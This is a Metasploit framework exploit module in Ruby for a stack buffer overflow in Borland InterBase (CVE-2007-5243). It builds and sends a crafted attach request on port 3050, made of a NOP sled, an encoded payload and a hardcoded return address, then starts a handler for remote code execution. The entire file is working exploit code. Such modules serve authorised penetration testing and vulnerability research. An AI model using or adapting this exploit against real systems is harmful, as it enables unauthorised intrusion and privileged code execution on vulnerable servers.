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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'		=> 'Borland InterBase PWD_db_aliased() Buffer Overflow',
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      'Description'	=> %q{
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        This module exploits a stack buffer overflow in Borland InterBase
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        by sending a specially crafted attach request.
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      },
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      'Author'	=>
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        [
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          'Ramon de C Valle',
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          'Adriano Lima <adriano[at]risesecurity.org>',
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        ],
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      'Arch'		=> ARCH_X86,
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      'Platform'	=> 'linux',
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      'References'	=>
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        [
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          [ 'CVE', '2007-5243' ],
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          [ 'OSVDB', '38607' ],
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          [ 'BID', '25917' ],
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          [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
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        ],
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      'Privileged'	=> true,
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      'License'	=> MSF_LICENSE,
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      'Payload'	=>
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        {
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          'Space' => 512,
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          'BadChars' => "\x00\x2f\x3a\x40\x5c",
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        },
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      'Targets'	=>
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        [
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          # 0x0804cbe4 pop esi; pop ebp; ret
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          [
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            'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
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            { 'Ret' => 0x0804cbe4 }
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          ],
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        ],
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      'DefaultTarget'	=> 0,
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      'DisclosureDate'  => '2007-10-03'
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    ))
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    register_options(
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      [
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        Opt::RPORT(3050)
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      ],
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      self.class
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    )
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  end
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  def exploit
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    connect
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    # Attach database
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    op_attach = 19
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    length = 1152
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    remainder = length.remainder(4)
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    padding = 0
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    if remainder > 0
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      padding = (4 - remainder)
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    end
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    buf = ''
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    # Operation/packet type
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    buf << [op_attach].pack('N')
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    # Id
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    buf << [0].pack('N')
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    # Length
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    buf << [length].pack('N')
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    # It will return into this nop block
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    buf << make_nops(length - payload.encoded.length - 4)
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    # Payload
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    buf << payload.encoded
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    # Target
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    buf << [target.ret].pack('V')
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    # Padding
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    buf << "\x00" * padding
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    # Length
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    buf << [1024].pack('N')
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    # Random alpha data
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    buf << rand_text_alpha(1024)
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    sock.put(buf)
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    handler
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  end
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end
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